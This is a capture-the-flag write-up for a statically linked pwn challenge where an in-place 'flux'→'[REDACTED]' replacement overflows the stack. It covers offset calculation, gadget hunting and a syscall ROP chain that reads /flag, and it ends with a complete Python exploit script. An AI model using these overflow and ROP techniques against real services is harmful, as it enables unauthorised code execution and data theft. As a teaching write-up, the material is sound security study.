$ cat writeup.md…
$ cat writeup.md…
Hack.lu2026
Task: statically linked no-PIE pwn where redact() replaces each regex match "flux" (4 bytes) with "[REDACTED]" (10 bytes) in place without bounds checks, growing the buffer and overflowing main's stack frame. Solution: craft input so the +6 bytes/match expansion lands a syscall ROP chain exactly on main's saved return address, using the printf echo as a placement oracle, then open/read/write /flag.
Agile declassification tooling - don't tell anyone about our top secret project :]
English summary: A one-shot "declassifier" service reads up to 512 bytes of
input, redacts every occurrence of the word flux by replacing it with
[REDACTED], and prints the result. The redaction grows the string in place
without any bounds checking, corrupting the stack. The goal is to read /flag
on the remote host. The service is exposed over TLS on port 443 (one connection
= one shot).
0x400000), NX
enabled, not stripped, with debug info.-no-pie -fno-pie -fno-stack-protector -static -g.pwntools/checksec may report "canary found" —
this is a false positive caused by a static libc symbol. The vulnerable
function redact() ends with a plain leave ; ret with no canary check,
which confirms the mitigation is absent.declass.c) and the vulnerabilitystatic const char *const re = "flux"; static const char *const replace = "[REDACTED]"; static void redact(char buf[], size_t size) { // regex-based scan for "flux" // for each match at offset `off`, len = 4: memcpy(&buf[off + strlen(replace)], &buf[off + len], remaining); // shift tail right by +6 memcpy(&buf[off], replace, strlen(replace)); // write "[REDACTED]" } int main(void) { char buf[512] = { 0 }; size_t n = read(STDIN_FILENO, buf, sizeof(buf)); // up to 512 bytes redact(buf, n); printf("%s", buf); }
The match token flux is 4 bytes; the replacement [REDACTED] is 10 bytes.
Each replacement is performed in place: the tail of the string is shifted
right by strlen(replace) - len = 10 - 4 = +6 bytes, then the replacement is
written over the match. There is no bounds check against the size of
buf[512], and the remaining bookkeeping does not prevent the writes from
running past the end of the buffer. Enough matches cause the expanding data to
overflow main's stack frame, overwriting the saved RBP and the saved
return address.
Crucially, redact() writes into main's buf, so after redact() returns
and printf runs, main's own leave ; ret jumps to the corrupted return
address. read() does not stop at NUL bytes, so a ROP chain containing NUL
bytes is delivered intact.
Confirmed from the disassembly:
buf is at rbp-0x210 in main.buf to main's saved return address:
0x210 + 8 = 0x218 = 536 bytes.So after expansion, whatever data lands at output offset 536 becomes the
value main returns into.
flux expansionEach flux token contributes 10 output bytes ([REDACTED]) instead of its 4
input bytes. Build the input as:
input = (P literal non-"flux" bytes) + ("flux" * k) + ROP_CHAIN
with the constraint P + 10*k = 536. After all k redactions, every prefix
byte and expanded token sits before offset 536, so the ROP_CHAIN lands
exactly at output offset 536 — byte-for-byte on main's saved return
address.
Input length budget (must stay <= 512):
inlen = P + 4*k + len(ROP) = (536 - 10*k) + 4*k + len(ROP) = (536 - 6*k) + len(ROP)
More flux tokens shrink the input, leaving room for a longer chain. The
working exploit uses k = 53, P = 6, a 288-byte chain → inlen = 506 <= 512.
Two constraints on the ROP region:
P bytes must not itself contain flux.flux (the final
regexec scan would otherwise mangle it).The risky part is glibc's overlapping memcpy (destination off+10 > source
off+4). Depending on the chosen SIMD path and size, glibc may copy forward
(which, for this overlap and size, behaves like a byte-forward copy) or
backward. Rather than needing a local x86-64 execution environment to validate
this, the challenge's own printf("%s", buf) is used as an oracle: send a
probe and read back exactly how the service transformed it.
Probe:
input : "AAAAAAAA" + "flux"*5 + "0123456789abcdef"
echo : "AAAAAAAA" + "[REDACTED]"*5 + "0123456789abcdef"
The echo confirms that the prefix, the expanded [REDACTED] tokens, and the
trailing bytes all land where the forward-copy model predicts. Placement is
therefore fully deterministic, and output offset 536 is controllable.
/flagStatic no-PIE + NX → classic syscall ROP against the embedded glibc. There is
no /bin/sh string, so we build one ourselves and read the flag file directly.
Gadgets (fixed addresses, no-PIE):
pop rdi ; pop rbp ; ret @ 0x40422e
pop rsi ; pop rbp ; ret @ 0x414d31
pop rax ; ret @ 0x43eb83
pop rdx ; xor eax,eax ; pop rcx ; pop rbx ; pop r14 ; pop rbp ; ret @ 0x438aa8
mov qword [rdi], rax ; ret @ 0x45519b
syscall ; ret @ 0x415616
Methodology tip:
ROPgadget's default dump missed thesyscall ; retgadget. It was found by scanning the binary's bytes directly for the opcode sequence0F 05 C3(syscall ; ret). When a syscall-ROP chain seems to be missing asyscallprimitive, scan raw bytes for0F 05followed by aret/C3, or verify candidates with capstone — don't trust a single tool's gadget list.
Chain logic:
"/flag\0\0\0" into .bss (0x4d9a20) via
pop rax → the 8-byte string, then mov [rdi], rax (rdi = .bss).open("/flag", O_RDONLY) → syscall(rax=2, rdi=path, rsi=0) → fd 3.read(3, scratch, 300) → syscall(rax=0, rdi=3, rsi=0x4d9b00, rdx=300).write(1, scratch, 300) → syscall(rax=1, rdi=1, rsi=0x4d9b00, rdx=300).Optimization to fit the input budget: rdx (count = 300) is set once and
survives the read syscall into the write syscall, and rsi (scratch
buffer) is reused — trimming the chain to 288 bytes so the whole input stays
under 512.
The remote is reachable over TLS on 443, one connection per shot. On some
hosts ncat is broken (a Lua dylib mismatch). A reliable approach is
openssl s_client -quiet -connect HOST:443 (or Python ssl). Send the payload,
then close the write side (SHUT_WR) so the one-shot service processes input
and emits the flag before the connection closes.
#!/usr/bin/env python3 """ Declassifier (Hack.lu 2026) exploit. Stack overflow via redact() 'flux'->'[REDACTED]' (+6 bytes each) expansion. Payload placed at main's saved RET (output offset 536) via forward-copy model. ROP: open("/flag",0) / read(fd, bss2, 300) / write(1, bss2, 300). One-shot TLS I/O: send payload, SHUT_WR, read response. """ import struct, subprocess, sys, os, re HOST = "<redacted-remote-host>" PORT = 443 # --- gadgets (no-PIE, static glibc) --- POP_RDI = 0x40422e # pop rdi ; pop rbp ; ret POP_RSI = 0x414d31 # pop rsi ; pop rbp ; ret POP_RAX = 0x43eb83 # pop rax ; ret POP_RDX = 0x438aa8 # pop rdx ; xor eax,eax ; pop rcx ; pop rbx ; pop r14 ; pop rbp ; ret MOV_PRDI_RAX = 0x45519b # mov qword [rdi], rax ; ret SYSCALL = 0x415616 # syscall ; ret (found via byte scan 0F 05 C3) BSS = 0x4d9a20 # .bss base (writable), store "/flag\0" BSS_BUF = 0x4d9b00 # scratch read buffer in .bss JUNK = 0xdeadbeef # filler for extra pops def p(x): return struct.pack("<Q", x & 0xffffffffffffffff) def build_rop(): r = b"" # 1) write "/flag\0\0\0" to BSS r += p(POP_RDI) + p(BSS) + p(JUNK) r += p(POP_RAX) + b"/flag\x00\x00\x00" r += p(MOV_PRDI_RAX) # 2) open("/flag", 0) -> fd (expected 3) r += p(POP_RDI) + p(BSS) + p(JUNK) r += p(POP_RSI) + p(0) + p(JUNK) r += p(POP_RAX) + p(2) r += p(SYSCALL) # 3) read(3, BSS_BUF, 300). rdx set here survives into write. r += p(POP_RDI) + p(3) + p(JUNK) r += p(POP_RSI) + p(BSS_BUF) + p(JUNK) r += p(POP_RDX) + p(300) + p(JUNK)*4 r += p(POP_RAX) + p(0) r += p(SYSCALL) # 4) write(1, BSS_BUF, 300). rsi/rdx survive from read. r += p(POP_RDI) + p(1) + p(JUNK) r += p(POP_RAX) + p(1) r += p(SYSCALL) return r def build_input(rop): assert b"flux" not in rop, "ROP must not contain 'flux'" k = 53 P = 536 - 10 * k # P + 10*k = 536 assert P >= 0 inp = b"A" * P + b"flux" * k + rop assert len(inp) <= 512, f"input too long: {len(inp)}" return inp def send_openssl(payload): tmp = os.path.join(os.path.dirname(os.path.abspath(__file__)), ".payload.bin") with open(tmp, "wb") as f: f.write(payload) cmd = f'( cat "{tmp}"; sleep 4 ) | openssl s_client -quiet -connect {HOST}:{PORT} 2>/dev/null' return subprocess.run(["/bin/sh", "-c", cmd], capture_output=True, timeout=60).stdout if __name__ == "__main__": rop = build_rop() inp = build_input(rop) print(f"[*] ROP len={len(rop)} input len={len(inp)}", file=sys.stderr) out = send_openssl(inp) sys.stdout.buffer.write(out) m = re.search(rb"(flag|flu)\{[^}]*\}", out) if m: print("\n[+] FLAG:", m.group(0).decode(errors="replace"), file=sys.stderr)
The returned flag text is itself the lesson of the bug — that performing a
string replacement without adjusting the string length is a bad idea
(flag value redacted here; format is flag{REDACTED}).
Use this technique when:
flux → [REDACTED], +6 bytes each) with no bounds
check — each match is a controlled stack write that grows past the buffer.printf("%s", buf)), which you
can use as a placement oracle to validate exactly where crafted bytes land
after expansion — no local execution environment required.checksec/pwntools reports a canary on a static binary but the vulnerable
function ends in a plain leave ; ret: treat the canary report as a false
positive from a static libc symbol.syscall gadget: byte-scan the image
for 0F 05 (syscall) / 0F 05 C3 (syscall ; ret) instead of trusting one
gadget-finder's output.rdx/rsi can be set once and reused across consecutive syscalls
(read → write) to shorten the chain when the input size is tightly bounded.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md